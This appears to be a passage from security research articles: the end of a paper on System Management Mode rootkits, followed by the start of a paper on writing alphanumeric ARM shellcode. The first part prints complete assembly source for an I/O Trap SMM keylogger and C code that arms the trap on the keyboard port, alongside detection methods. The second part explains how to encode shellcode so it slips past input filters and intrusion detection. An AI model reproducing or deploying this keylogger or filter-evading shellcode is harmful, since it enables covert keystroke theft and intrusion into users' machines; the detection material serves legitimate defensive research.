lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx, IOSMI_IN_60_BYTE
```

```
jne _skip_proc0:
mov byte ptr [esi + SMM_MAP_EAX], al

_skip_proc0:
lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO + 0x300]
cmp ecx, IOSMI_IN_60_BYTE
jne _skip_proc1:
mov byte ptr [esi + SMM_MAP_EAX + 0x300], al

_skip_proc1:
..
```

--[4 - SUGGESTED DETECTION METHODS

--[4.1 - Detecting I/O Trap based SMM keylogger

Generally, as pointed in previous research, Operating System does not have access to SMRAM as soon as it's locked by BIOS firmware. So detecting malicious code inside SMRAM becomes a challenging task for the OS or anti-virus software.

In many cases, however, it is not necessary to inspect SMRAM to detect the presence of SMM rootkit. Let's explain this thesis on keylogger example described earlier.

To be able to intercept pressed keystrokes SMM keystroke logger has to modify hardware configuration in a certain way. In case of using I/O Trap method SMM keylogger has to enable I/O Trap to trap on IN/OUT instructions to keyboard controller ports 0x60 and 0x64.

In case of using I/O APIC technique SMM keylogger has to change I/O APIC Redirection Table to program SMI# as a delivery mode of hardware interrupt IRQ #01, as pointed in [smm_rkt].

As usual we'll focus on I/O Trap based SMM keylogger. If there is no legitimate port 0x60/0x64 emulation used and I/O Trap is enabled to trap on keyboard ports then this is a clear indication of SMM keylogger. So to detect this keylogger we need to detect that I/O Trap has been programmed to trap on access to keyboard controller I/O ports 0x60 and 0x64.

For example, the snippet below detects that I/O Trap is programmed to trap on reads from port 0x60:

```
 pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);

 // keyboard controller port 0x60 + 1 enable I/O Trap
 if(0x61 == (*(DWORD*)pIOTR0_LO)) {
   DbgPrint("SMM keylogger detected.
             Found enabled I/O Trap on keyboard port 60h\n");
 }
```

If I/O Trap is detected it's trivial to disable it. We simply need to write 0x0 to IOTR0 register.

--[4.2 - General timing based detection

Another possible method to detect I/O Trap based SMM keylogger is to measure timing difference between IN/OUT instructions that access keyboard controller ports vs. other I/O ports. As access to some or all keyboard ports is trapped by SMI handler then it will take (much) longer to return results of IN/OUT instructions. For example, profiling "IN 60h" could be:

```
 RDTSC
 IN AL, 60H
 RDTSC
```

It should be noted that all variants of IN instruction should be profiled like "IN AL, 60H", "IN AX, DX" etc., because I/O Trap may be programmed to intercept only certain variants.

--[5 - CONCLUSION

This work described details of how SMI handlers are implemented in BIOS system firmware and how to disassemble and modify them. The authors hope that this paper added some clarity to how malware could use SMI handlers to add rootkit functionality in SMM and, more importantly, how to detect such stealthy malware.

It would be naive to assume that SMM is secure as long as BIOS firmware "locks down" SMM memory by setting D_LCK bit in SMRAMC register (original attack from [smm]). Other vulnerabilities already found in SMM protections as demonstrated in [xen_0wn].

SMI handlers may also change from BIOS to BIOS, may be updated with the rest of BIOS firmware using BIOS update mechanism available for all motherboards, may be extended with lots of new features (even with new security features [xen_0wn]). Migration to (U)EFI will simplify EFI firmware development and may cause even more functionality to be added to EFI SMI handlers in SMM. Additionally, SMI handlers should interact with unprotected OS and drivers. The bottom line is that we believe the main danger will come from software vulnerabilities in SMI handlers' code similarly to vulnerabilities in OS kernel, drivers and applications. BIOS vendors should start paying better attention to what they are putting into the SMM.

--[6 - SOURCE CODE

--[6.1 - System Management Mode keylogger that uses I/O Trap mechanism

```
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; I/O Trap based SMI keystroke logger
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;
; I/O Trap registers in Root Complex Base Address (RCBA)
;
IO_TRAP_IOTR0_REG        equ FED1DE80h ; I/O Trap Register 0 = RCBA + 1E80h
IO_TRAP_TRSR_REG         equ FED1DE00h ; Trap Status Register = RCBA + 1E00h
IO_TRAP_TRCR_REG         equ FED1DE10h ; Trapped Cycle Register = RCBA + 1E10h

KBRD_DATA_PORT           equ 60h

DST_BUF_PHYSADDR         equ 20000h    ; any physical address read later
SEG_4G                   equ ?         ; depends on BIOS

;
; IO_SMI bit, I/O Port = 0x60
; I/O Type = IN DX
; I/O Length = 1
; should all be checked separately
;
IOSMI_IN_60_BYTE       equ 00600013h

;
; SMM Save State Map fields
;
SMM_MAP_IO_STATE_INFO  equ FFA4h
SMM_MAP_EAX            equ FFD0h

;
; we need to load DS with index of 4G 0-based data segment in GDT
; to be able to access any MMIO
; or physical addresses for logging scan codes
;
push ds
push SEG_4G
pop ds

;
; clear I/O Trap status bit
;
mov eax, IO_TRAP_TRSR_REG
mov dword ptr [eax], 1

;
; check TRCR if it’s IO read or write
; we trap only reads here
;
mov eax, IO_TRAP_TRCR_REG
mov ebx, dword ptr [eax]
bswap ebx
and bh, 0xf
and bl, 0x1
jz _smi_handled

;
; temporarily disable I/O Trap
;
mov eax, IO_TRAP_IOTR0_REG
mov dword ptr [eax], 0

;;;;;;;;;;;
; keystroke logging goes here
;;;;;;;;;;;

pusha

;
; verify that this is IO_SMI due to read to 0x60 port
;
mov esi, SMBASE
mov ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx, IOSMI_IN_60_BYTE
jnz _not_io_smi

;
; read scan code from keyboard controller port 0x60
;
xor ax, ax
in al, KBRD_DATA_PORT

;
; log intercepted scan code (to LOG_BUFFER_PHYS_ADDR physical address)
; the first dword is a number of scan code bytes saved in the buffer
;
mov edi, DST_BUF_PHYSADDR
mov ecx, dword ptr [edi]
```

```
push edi
lea edi, dword ptr [edi + ecx + 4]
mov byte ptr [edi], al

;
; increment number of scan code bytes saved in the buffer
;
inc ecx
pop edi
mov dword ptr [edi], ecx

;
; update EAX field in SMM state save map (SMBASE + 0x8000 + SMM_MAP_EAX)
; with scan code to be returned as a result of trapped IN instruction
;
mov byte ptr [esi + SMM_MAP_EAX], al

_not_io_smi:

popa

;;;;;;;;;;;

;
; re-enable I/O Trap on read from port 0x60
;
mov eax, IO_TRAP_IOTR0_REG
mov ebx, KBRD_DATA_PORT+1
mov dword ptr [eax], ebx

;
; return 0 indicating that SMI was handled
;
_smi_handled:

pop ds
mov eax, 0
retf
```

--[6.2 - Programming I/O Trap

```
#define LPC_RCBA_REG    0xF0

#define RCBA_IOTR0_LO   0x1E80 // I/O Trap 0 Register (IOTR0) low dword
#define RCBA_IOTR0_HI   0x1E84 // I/O Trap 0 Register (IOTR0) high dword

#define pci_addr(bus,dev,fn,reg) \
          (0x80000000 |          \
          ((bus & 0xff) << 16) | \
          ((dev & 0x1f) << 11) | \
          ((fn & 7) << 8) |      \
          (reg & 0xfc))

void _set_keystroke_io_trap()
{
   unsigned long lpc_rcba_addr;
   unsigned long rcba_reg;
   void *rcba;

   DWORD * pIOTR0_LO;
   DWORD * pIOTR0_HI;

   //
   // Read the Root Complex Base Address Register (RCBA)
   //
   // LPC device in ICH, B:D:F: = 0:31:0
   lpc_rcba_addr = pci_addr(0, 31, 0, LPC_RCBA_REG);

   _outpd(0xcf8, lpc_rcba_addr);
   rcba_reg = _inpd(0xcfc);
   pa.LowPart = rcba_reg & 0xffffc000;
   DbgPrint("RCBA base physical address: 0x%08x\n", pa.LowPart);

   // 0x2000 is enough to access I/O Trap range
   rcba = MmMapIoSpace(pa, 0x2000, MmCached);

   //
   // Program I/O Trap to trap on every read from
   // keyboard controller data port 0x60
   //

   pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
   pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);

   // trap on port read + all byte enables
   *(DWORD*)pIOTR0_HI = 0x100f0;
   // keyboard controller port 0x60 + 1 enable I/O Trap
   *(DWORD*)pIOTR0_LO = 0x61;
   DbgPrint("IOTR0 = 0x%08x%08x at 0x%08x\n",
            *pIOTR0_HI, *pIOTR0_LO, (pa.LowPart + RCBA_IOTR0_LO));

}
```

--[6.3 - Detecting I/O Trap SMI keystroke logger

```
void _detect_keystroke_io_trap()
{
   unsigned long lpc_rcba_addr;
   unsigned long rcba_reg;
   void *rcba;

   DWORD * pIOTR0_LO;
   DWORD * pIOTR0_HI;

   //
   // Read the Root Complex Base Address Register (RCBA)
   //

   // LPC device in ICH, B:D:F: = 0:31:0
   lpc_rcba_addr = pci_addr(0, 31, 0, LPC_RCBA_REG);

   _outpd(0xcf8, lpc_rcba_addr);
   rcba_reg = _inpd(0xcfc);
   pa.LowPart = rcba_reg & 0xffffc000;

   // 0x2000 is enough to access I/O Trap range
   rcba = MmMapIoSpace(pa, 0x2000, MmCached);

   pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
   pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);

   // keyboard controller port 0x60 + 1 enable I/O Trap
   if(0x61 == (*(DWORD*)pIOTR0_LO))
   {
     DbgPrint("SMM keylogger detected.
               Found enabled I/O Trap on keyboard data port 60h\n");
     // Disable I/O Trap SMM keylogger
     // clear low dword of IOTRn register
     *(DWORD*)pIOTR0_LO = 0;
```

```
    }
}
```

--[7 - REFERENCES

```
[smm_rkt]       A New Breed of Rootkit: The System Management Mode (SMM) Rootkit
                Shawn Embleton, Sherri Sparks, Cliff Zou. Black Hat USA 2008
                http://www.eecs.ucf.edu/~czou/research/SMM-Rootkits-Securecom08.pdf
                http://www.tucancunix.net/ceh/bhusa/BHUSA08/speakers/Embleton_Sparks_SMM_Rookits/
                BH_US_08_Embleton_Sparks_SMM_Rootkits_WhitePaper.pdf


[smm]           Using CPU System Management Mode to Circumvent Operating System Security Functions.
                Loic Duflot, Daniel Etiemble, Olivier Grumelard. CanSecWest 2006
                http://www.ssi.gouv.fr/fr/sciences/fichiers/lti/cansecwest2006-duflot-paper.pdf

[phrack_smm]    Using SMM for 'Other Purposes'.
                BSDaemon, coideloko, and D0nand0n. Phrack Vol 0x0C, Issue 0x41
                http://www.phrack.org/issues.html?issue=65

[efi_hack]      Hacking the Extensible Firmware Interface Firmware Interface
                John Heasman. Black Hat USA 2007
                http://www.ngssoftware.com/research/papers/BH-VEGAS-07-Heasman.pdf

[ich]           Intel I/O Controller Hub 10 (ICH10) Family Datasheet
                http://www.intel.com/assets/pdf/datasheet/319973.pdf

[intel_man]     Intel IA-32 Architecture Software Developer's Manual
                http://www.intel.com/products/processor/manuals/

[amd_man]       BIOS and Kernel's Developer's Guide for AMD Athlon 64 and AMD Opteron Processors
                Advanced Micro Devices, Inc.
                http://www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/26094.PDF

[bios_disasm]   BIOS Disassembly Ninjutsu Uncovered or
                Pinczakko's Guide to Award BIOS Reverse Engineering
                Darmawan M Salihun aka Pinczakko
                http://www.geocities.com/mamanzip/Articles/Award_Bios_RE/Award_Bios_RE_guide.html
                http://www.geocities.com/mamanzip/Articles/award_bios_patching/award_bios_patching.html

[ami_mod]       Performing AMI BIOS Mods Discussion Thread // The Rebels Heaven
                http://www.rebelshavenforum.com/sis-bin/ultimatebb.cgi?ubb=get_topic&f=52&t=000049

[xen_0wn]       Preventing and Detecting Xen Hypervisor Subversions
                Joanna Rutkowska & Rafal Wojtczuk. Black Hat USA 2008
                http://invisiblethingslab.com/bh08/part2-full.pdf

[ami_usb]       USB Support for AMIBIOS8
                American Megatrends, Inc.
                http://www.securitytechnet.com/resource/hot-topic/homenet/AMIBIOS8_USB_Whitepaper.pdf

[smm_cache]     Getting into SMRAM: SMM Reloaded
                Loic Duflot et al. CanSecWest 2009
                http://cansecwest.com/csw09/csw09-duflot.pdf

                Attacking SMM Memory via IntelR CPU Cache Poisoning
                Rafal Wojtczuk and Joanna Rutkowska
                http://invisiblethingslab.com/resources/misc09/smm_cache_fun.pdf

--------[ EOF
```

```
|=-----------------------------------------------------------------------=|
|=------------------=[ Alphanumeric RISC ARM Shellcode ]=---------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=--=[ Yves Younan (yyounan@fort-knox.org) / ace (ace@nologin.org]=--=|
|=----------=[ Pieter Philippaerts (pieter@mentalis.org) ]=-----------=|
|=-----------------------------------------------------------------------=|
```

--[0.- Introduction

With the sudden explosion of mobile devices, the ARM processor has become one of the most widespread CPU cores in the world. ARM processors offer a good trade-off between power usage and processing power, which makes it an excellent candidate for mobile and embedded devices. Most mobile phones and personal digital assistants feature an ARM processor.

Only recently, however, these devices have become powerful enough to let users connect over the internet to various services, and to share information like we are used to on desktop PCs. Unfortunately, this introduces a number of security risks.

Like PCs, native ARM applications are susceptible to attacks such as buffer overflows and other improper input validation abuse. Since up till recently only fully featured desktop computers were powerful enough to connect to the internet and disseminate information in a ubiquitous manner, most attacks have focussed on the dominant desktop processor, which is the x86 processor.

Given the increased connectivity of ARM-based devices, and given the potential for misuse of these devices (for instance, by making a hacked phone call commercial numbers), attacks on these devices will become much more common than is now the case.

A typical hurdle for exploit writers, is that the shellcode has to pass one or more filtering methods before reaching the vulnerable buffer. A filtering method is a method that does some simple input validation, for instance by stringently checking that input matches a particular predefined pattern. A popular regular expression for example is [a-zA-Z0-9] (possibly extended with "space"). Intrusion detection systems are also adding more checks to detect particular patterns of op codes to detect attacks against applications.

For educational purposes, we describe in this article how to write alphanumeric shellcode for ARM. This is important, because alphanumeric strings typically pass more of these validation checks and tend to survive more data transformations (such as conversions from one encoding to another) than non-alphanumeric shellcode. Writing alphanumeric shellcode was not considered easily doable on RISC architectures, which use 4 byte instructions.

When we discuss the bits in a byte we will use the following representation: the most significant bit is bit 7 and the least significant bit is bit 0 in our discussion. The first byte of an instruction is bit 31 to 24 and the last byte is bit 7 to 0.

--[1.- The ARM architecture

----[1.0 The ARM Processor

The ARM architecture is a 32-bit RISC architecture with 16 general purpose registers available to regular programs and a status register (actually there are more general purpose registers and status registers but those are only used in exception modes and not important for our discussion). Every instruction is 4 bytes long so we must ensure that all 4 of these bytes are alphanumeric. This is very different from the x86 architecture which has variable length instructions. As a result, getting instructions to be completely alphanumeric is harder on ARM than on x86.

Registers R0 to R12 are real general purpose registers that do not have a dedicated purpose. Register R13 is used as a stack pointer and can also be referred to as register SP. Register R14 is used as the link register and is also referred to as LR. It contains the return address for functions and exceptions. Register R15 contains the current program counter and is also referred to as PC. Unlike x86 architectures, we can directly read and write this register. Reading from this register will return the currently executing instruction + 8 bytes in ARM mode or the current instruction + 4 bytes in Thumb mode (see section 1.5). Writing to this register causes execution to continue at this address.

```
                 A[31:0]
     _________      /\       _________
     | _____ | ALE  ||   ABE |_____  |
     | |    ||  |   ||    |  ||    | |
     | |    \/  V   ||    V  \/    |i|
     | |  +--------------------+    |n|
     | |  |  Address Register  |    |c|
     | |  +--------------------+    |r|
     | |        ^        ||        |e|
     | |       / \       ||        |m|
     | |       |P|       \/        |e|
     | |       |C|  +-----------+  |n|
     | |____   | |  |  Address  |__|t|
     | ____ |  |b|  |Incrementer|__ e|    +-----------+
     | |   ||  |u|  +-----------+  |r|    |   Scan    |
     | |   \/  |s|                 | |    |  Control  |
     | | +---------------------+   |b|    +-----------+
     | | |    Register Bank    |   |u|    +-----------+<- DBGRQI
     | | |(31x32-bit registers)|   |s|    |           |<- BREAKPTI
     | | | (6 status registers)|<----+    |           |-> DBGACK
     | | +---------------------+          |           |-> ECLK
     |A|     | |        |                 |           |-> nEXEC
     |L|     | |        |         ___     |           |<- ISYNC
     |U|     | |        +-------->| |     |           |<- BL[3:0]
     | |     | |   +----------+   |B|     |           |<- APE
     |b|     | |   |   32x8   |   | |     |           |<- MCLK
     |u|     |A|<=>|Multiplier|<=>|b|     |           |<- nWAIT
     |s|     | |   +----------+   |u|     |           |-> nRW
     | |     |b|       ___________|s|     |Instruction|-> MAS[1:0]
     | |     |u|       | _________  |     |  Decoder  |<- nIRQ
     | |     |s|       ||         | |     |     &     |<- nFIQ
     | |     | |       \/         | |     |  Control  |<- nRESET
     | |     | |   +-------+      | |     |   Logic   |<- ABORT
     | |     | |   |Barrel |      | |     |           |-> nTRANS
     | |     | |   |Shifter|      | |     |           |-> nMREQ
     | |     | |   +-------+      | |     |           |-> nOPC
     | |     \ /      ||          | |     |           |-> SEQ
     | |      v       \/          | |     |           |-> LOCK
     | |     ------------         | |     |           |-> nCPI
     | |     \32-bit ALU/         | |     |           |<- CPA
     | |      ----------          | |     |           |<- CPB
     | |__________||              | |     |           |-> nM[4:0]
     |_____________|              | |     |           |<- TBE
             _____________________| |     |           |-> TBIT
             |______________________|     +-----------+-> HIGHZ
             ||                 /\              /\
             \/                 ||              ||
     +-------------------+  +---------------------------+
     |Write Data Register|  |   Instruction pipeline    |
     +-------------------+  |   & Read Data Register    |
       |  ^  ^     ||       |& Thumb Instruction Decoder|
       v  |  |     ||       +---------------------------+
    nENOUT|nENIN   ||                    /\
          |        ||____________________||
         DBE       |______________________|
                             ||
                             \/
                          D[31:0]
```

There are many versions of the ARM processor, with version 6 adding a large amount of new instructions. In this paper we try to remain as broad as possible: our alphanumeric ARM shellcode should work on all versions of the ARM processor. To this end, we will drop all instructions that require a specific version of a processor. However, we clearly note which instructions are dropped because they are not alphanumeric and which instructions are dropped because of compatibility constraints. This allows a shellcode writer who only needs compatibility with a specific processor version to take advantage of the extra instructions that may be available in that processor.

----[1.1 Coprocessors

ARM processors can be extended with a number of coprocessors to perform non-standard calculations and to avoid having to do these calculations in software. ARM supports up to 16 coprocessors, each of which has a unique identification number. Some processors might need more than one identification number, in order to accommodate large instruction sets. Coprocessors are available for memory management, floating point operations, debugging, media, cryptography, ...

When an ARM processor encounters an instruction it cannot process, it sends the instruction out on the coprocessor bus. If a coprocessor recognizes the instruction, it can execute it and respond to the main processor. If none of the coprocessors respond, an 'illegal instruction' exception is raised.

----[1.2 Addressing Modes

ARM has different addressing modes. We'll briefly discuss the different addressing modes which are useful for writing our shellcode.

----[1.2.0 Addressing modes for data processing

Most instructions will look like this:

```
    <opcode>{<cond>}{S} <Rd>, <Rn>, <shifter_operand>
```

For example:

```
    ADDEQ r0, r1, #20
```

The shifter_operand is the third argument to an instruction. It is 12 bits large and can be one of the following 11 possibilities. When a <shift_imm> is specified below, this is an immediate that is 4 bits large, meaning that it can be any value in the range of 0 to 31.

1. #immediate   An immediate of 8 bits can be used as shifter operand. The 8 bits immediate can optionally be rotated right by a shift_imm.
2. <Rm>   A register can be used as an argument.
3. <Rm>, LSL #<shift_imm>   A register, which is logically shifted left a shift_imm.
4. <Rm>, LSL <Rs>   A register Rm is used as argument that is shifted left by a second register Rs.
5. <Rm>, LSR #<shift_imm>   A register, which is logically shifted right by a shift_imm.
6. <Rm>, LSR <Rs>   A register Rm is used as argument that is shifted right by a second register Rs.
7. <Rm>, ASR #<shift_imm>   A register, which is arithmetically shifted right by a shift_imm.
8. <Rm>, ASR <Rs>   A register, which is arithmetically shifted right by a register.
9. <Rm>, ROR #<shift_imm>   A register, which is rotated right by a shift_imm.
10. <Rm>, ROR <Rs>   A register, which is rotated right by a register.
11. <Rm>, RRX   A register which is rotated right by one bit, with the carry flag replacing the free bit. The carry flag is then replaced with the bit which was rotated out.

----[1.2.1 Addressing modes for load/store word or unsigned byte

This is the general syntax for a load or store instruction:

```
    LDR{<cond>}{B}{T} <Rd>, addressing_mode
```

For example:

```
    LDRPLB r3, [r3, #-48]
```

Where addressing_mode is one of the following 6 possibilities. For the loads and stores with translation (e.g. LDRBT), only the last 3 addressing modes are possible. If an exclamation mark is specified at the end of the first 3 addressing modes (e.g. for addressing mode 1, [<Rn>, #+/-<imm_12>]!), then the calculated address is written back to Rn.

1. [<Rn>, #+/-<imm_12>]<!>   Rn is the base address of the memory location where Rd will be stored. Optionally a 12 bit immediate can be used as offset. This offset is then added to the base address to calculate the address to write to.
2. [<Rn>, +/-<Rm>]<!>   Rn is the base address of the memory location

where Rd will be stored and Rm will be used as offset for Rn.
3. [<Rn>, +/-<Rm>, <shift> #<shift_imm>]<!> Rn is the base address, with Rm as offset. The Rm register is shifted by applying the <shift> operation with a <shift_imm> as argument. <shift> is one of LSL, LSR, ASR, ROR or RRX.

The following three addressing modes are essentially the same as the above 3 addressing modes, except that they are post-indexed. That means that Rn is used as the memory location for the load or store. The calculation is done afterwards and written back into Rn.

4. [<Rn>], #+/-<imm_12>
5. [<Rn>], +/-<Rm>
6. [<Rn>], +/-<Rm>, <shift> #<shift_imm>

----[1.2.2 Addressing modes for load/store multiple

The general instruction syntax for multiple loads and stores looks like this:

```
    LDM{<cond>}<addressing_mode> <Rn>{!}, <registers>{^}
```

For example:

```
    LDMPLFA r5!, {r0, r1, r2, r6, r8, lr}
```

Addressing modes are one of the following 4 possibilities:

1. IA - Increment after In this addressing mode, Rn will be used as a base address and the first memory location to read or write from. The subsequent addresses will be calculated by incrementing the previous address with 4.
2. IB - Increment before In this addressing mode, Rn will be used as the base address. The first memory location to read or write from is the base address + 4. Subsequent addresses will also be calculated by incrementing the previous address with 4.
3. DA - Decrement after Rn is used as the base address, from that register, the amount of registers multiplied by 4 is subtracted from this base address. Then 4 is added to this address. This is used as the first memory location to read or write from. Subsequent addresses are calculated by incrementing the previous address with 4.
4. DB - Decrement before Rn is used as the base address, from that register, the amount of registers multiplied by 4 is subtracted from this base address. This is used as the first memory location to read or write from. Subsequent addresses are calculated by incrementing the previous address with 4.

----[1.3 Conditional Execution

One of the features of the ARM processor is that it supports conditional execution of instructions. This means that the programmer can choose whether instructions will be executed or not, depending on the value of one of the different status flags. This has practical use to write, for instance, short if structures in a more compact manner. Almost all ARM instructions support conditional execution.

The conditional execution of an instruction is represented by adding a suffix to the name of the instruction that denotes in which circumstances it will be executed. Without this suffix, the instruction will always be executed.

As a short example, consider the following C fragment:

```
    if (err != 0)
        printf("An error has occurred! Errorcode = %i\n", err);
    else
        printf("Everything is ok!\n");
```

GCC compiles the above code to:

```
        cmp     r1, #0
        beq     .L4
        ldr     r0, .L9
        bl      printf
        b       .L8
.L4:
        ldr     r0, .L9+4
        bl      puts
.L8:
```

With conditional execution, it could be rewritten as:

```
        cmp       r1, #0
        ldrne     r0, .L9
        blne      printf
        ldreq     r0, .L9+4
        bleq      puts
```

The ’ne’ suffix means that the instruction will only be executed if the contents of, in this case, R1 is not equal to 0. Similarly, the ’eq’ suffix means that the instructions will be executed if the contents of R1 is equal to 0.

----[1.4 Example Instructions

ARM instructions are grouped into a number of categories, and each category has a similar bit layout. For illustration purposes, we will list and discuss some of these groups here. This list is not meant to be exhaustive or complete.

The first group of instructions are called ’data processing instructions’. This group covers a broad range of operations, which includes basic arithmetic and bitwise operations. Data processing instructions can be called with two registers as operands, or with a register and an immediate value. An example of each of these options is show below.

```
  31 28 27 26 25 24  21 20 19 16 15 12 11         7 6   5 4 3 0
 +-----+--+--+--+------+--+-----+-----+------------+-----+-+---+
 |cond | 0| 0| 0|opcode| S|  Rn |  Rd |shift amount|shift|0| Rm|
 +-----+--+--+--+------+--+-----+-----+------------+-----+-+---+

  Example:  SUBPL r6, pc, r5, ror #2
            0101 0 0 0 0010 0 1111 0110 00010 11 0 0101

  31  28 27 26 25 24  21 20 19  16 15  12 11   8 7            0
 +------+--+--+--+------+--+------+------+------+--------------+
 | cond | 0| 0| 1|opcode| S|  Rn  |  Rd  |rotate|   immediate  |
 +------+--+--+--+------+--+------+------+------+--------------+

  Example:  SUBPL r3, r1, #56
            0101 0 0 1 0010 0 0001 0011 0000 00111000
```

A second set of important instructions, are the instructions used to load bytes from the memory into registers, and to store the result of calculations back into the memory. In our shellcode, we will typically call them with an immediate offset as operand.

```
  31 28 27 26 25 24 23 22 21 20 19  16 15  12 11          0
 +-----+--+--+--+--+--+--+--+--+------+------+-------------+
 |cond | 0| 1| 0| P| U| W| B| L|  Rn  |  Rd  |  immediate  |
 +-----+--+--+--+--+--+--+--+--+------+------+-------------+

  Example:  LDRMIB r3, [pc, #-48]
```

```
            0100 0 1 0 1 0 1 0 1 1111 0011 000000110000
```

An interesting alternative to loading and storing registers one at a time, is to use the ’load/store multiple’ instructions. The instructions in this group all load or store multiple registers at once. Bits 15 to 0 hold which registers will be operated on.

```
  31 28 27 26 25 24 23 22 21 20 19  16 15            0
 +-----+--+--+--+--+--+--+--+--+------+---------------+
 |cond | 1| 0| 0| P| U| S| W| L|  Rn  | register list |
 +-----+--+--+--+--+--+--+--+--+------+---------------+

  Example:  STMMIFD r5, {r0, r3, r4, r6, r8, lr}^
            0100 1 0 0 1 0 1 0 0 0101 0100000101011001
```

The groups described in this section are only a small subset of the different instruction categories. However, these four groups are the most important ones in the context of this article.

----[1.5 The Thumb Instruction Set

Thumb mode is a mode in which the ARM processor can be set by changing the T bit of the CPSR register to 1. In this mode, the processor will use 16 bit instructions, which allows for better code density. Only T variants of the ARM processor support this mode (e.g. ARM4T), however as of ARMv6 Thumb support is mandatory. Instructions executed in 32 bit mode are called ARM instructions, while instructions executed in 16 bit mode are called Thumb instructions. Since instructions are only 2 bytes large in Thumb mode, it is easier to satisfy the alphanumeric constraints for instructions. To this end, we discuss how to get into Thumb mode from ARM mode in our shellcode. While our shellcode can run with only ARM instructions, writing code in Thumb mode is more convenient and smaller, resulting in less instructions and more compact shellcode. For programs already running in Thumb mode, we discuss a way of going back to ARM mode. Unlike ARM instructions, Thumb instructions do not support conditional execution.

Given the fact that we can easily switch from ARM to Thumb and back and that ARM mode can do everything that we need, even if no Thumb mode is available, we achieve the broadest possible compatibility in our shellcode.

--[2.- Alphanumeric shellcode

----[2.0 Alphanumeric bit patterns

A common problem for exploit writers is that their shellcode has to survive one or more byte transformations, before triggering the actual buffer overflow. These transformations could for instance be text encoding conversions, but could also be related to parsing or input validation. In most cases, alphanumeric bytes are likely to get through unmodified. Therefore, having shellcode with only alphanumeric instructions is sometimes necessary and often preferred.

An alphanumeric instruction is an instruction where each of the four bytes of the instruction is either an upper or lower case letter, or a number. In particular, the bit patterns of these bytes must always conform to the following constraints:

- Bit 7 must be set to 0
- Bit 6 or 5 must be set to 1

 - If bit 5 is set, but bit 6 isn’t, then bit 4 must also be set

These constraints do not eliminate all non-alphanumeric characters, but they can be used as a rule of thumb to quickly dismiss most of the invalid bytes. Each instruction will have to be checked whether its bit pattern follows these conditions and under which circumstances.

A potential problem for exploit writers is to get the return address to also be alphanumeric. This is not further discussed in this article as it strongly depends from situation to situation.

----[2.1 Addressing modes

In this section we will describe which addressing modes we can use that will ensure that our shellcode is alphanumeric.

----[2.1.0 Addressing modes for data processing

1. #immediate

```
  11     8 7                   0
 +--------+---------------------+
 | rotate |      imm_8          |
 +--------+---------------------+
```

Since we can fully control the value of imm_8, we can ensure that it is alphanumeric.

2. <Rm>

```
  11 10  9  8  7  6  5  4 3      0
 +--+--+--+--+--+--+--+--+-------+
 | 0| 0| 0| 0| 0| 0| 0| 0|   Rm  |
 +--+--+--+--+--+--+--+--+-------+
```

Since bits 6 and 5 are both 0, this type of addressing mode can not be used in alphanumeric shellcode.

3. <Rm>, LSL #<shift_imm>

```
  11        7  6  5  4 3       0
 +-----------+--+--+--+--------+
 | shift_imm | 0| 0| 0|   Rm   |
 +-----------+--+--+--+--------+
```

As in addressing mode 2, bits 6 and 5 are 0, so it can not be represented alphanumerically.

4. <Rm>, LSL <Rs>

```
  11     8  7  6  5  4 3       0
 +-----------+--+--+--+--------+
 |   Rs    | 0| 0| 0| 1|   Rm   |
 +-----------+--+--+--+--------+
```

Again, bits 6 and 5 are 0, so this addressing mode can not be used.

5. <Rm>, LSR #<shift_imm>

```
  11        7  6  5  4 3       0
 +-----------+--+--+--+--------+
 | shift_imm | 0| 1| 0|   Rm   |
 +-----------+--+--+--+--------+
```

Since bit 6 is 0, bits 5 and 4 must both be one. Only bit 5 is one, we can not represent this addressing mode alphanumerically.

6. <Rm>, LSR <Rs>

```
  11     8  7  6  5  4 3       0
 +-----------+--+--+--+--------+
 |   Rs    | 0| 0| 1| 1|   Rm   |
 +-----------+--+--+--+--------+
```

Bit 6 is 0, but since bits 5 and 4 are both set to 1, we can use this addressing mode in our alphanumeric shellcode. Register Rm must be less than R10.

7. <Rm>, ASR #<shift_imm>

```
  11        7  6  5  4 3       0
 +-----------+--+--+--+--------+
 | shift_imm | 1| 0| 0|   Rm   |
 +-----------+--+--+--+--------+
```

Since bit 6 is set to 1, the only restriction on this addressing mode is that Rm can not be R0.

8. <Rm>, ASR <Rs>

```
  11     8  7  6  5  4 3       0
 +-----------+--+--+--+--------+
 |   Rs   | 0| 1| 0| 1|   Rm   |
 +-----------+--+--+--+--------+
```

This bit pattern is alphanumeric and allows any register to be used as Rm.

9. <Rm>, ROR #<shift_imm>

```
  11        7  6  5  4 3       0
 +-----------+--+--+--+--------+
 | shift_imm | 1| 1| 0|   Rm   |
 +-----------+--+--+--+--------+
```

Like addressing mode 8, this pattern is alphanumeric and any register can be used as Rm.

10. <Rm>, ROR <Rs>

```
 11     8  7  6  5  4 3       0
+-----------+--+--+--+--------+
|   Rs   | 0| 1| 1| 1|   Rm   |
+-----------+--+--+--+--------+
```

Since bits 6, 5 and 4 are set to 1, Rm must be smaller than R11.

11. <Rm>, RRX

```
  11 10  9  8  7  6  5  4 3      0
 +--+--+--+--+--+--+--+--+-------+
 | 0| 0| 0| 0| 0| 1| 1| 0|   Rm  |
 +--+--+--+--+--+--+--+--+-------+
```

This bit pattern is alphanumeric and any register can be used as Rm.

----[2.1.1 Addressing modes for load/store word or unsigned byte

1. [<Rn>, #+/-<imm_12>]<!>

```
  11                            0
 +------------------------------+
 |            imm_12            |
 +------------------------------+
```

Since we can fully control the value of imm_12, we can ensure that it is alphanumeric.

2. [<Rn>, +/-<Rm>]<!>

```
  11 10  9  8  7  6  5  4 3      0
 +--+--+--+--+--+--+--+--+-------+
 | 0| 0| 0| 0| 0| 0| 0| 0|   Rm  |
 +--+--+--+--+--+--+--+--+-------+
```

This addressing mode can not be represented alphanumerically.

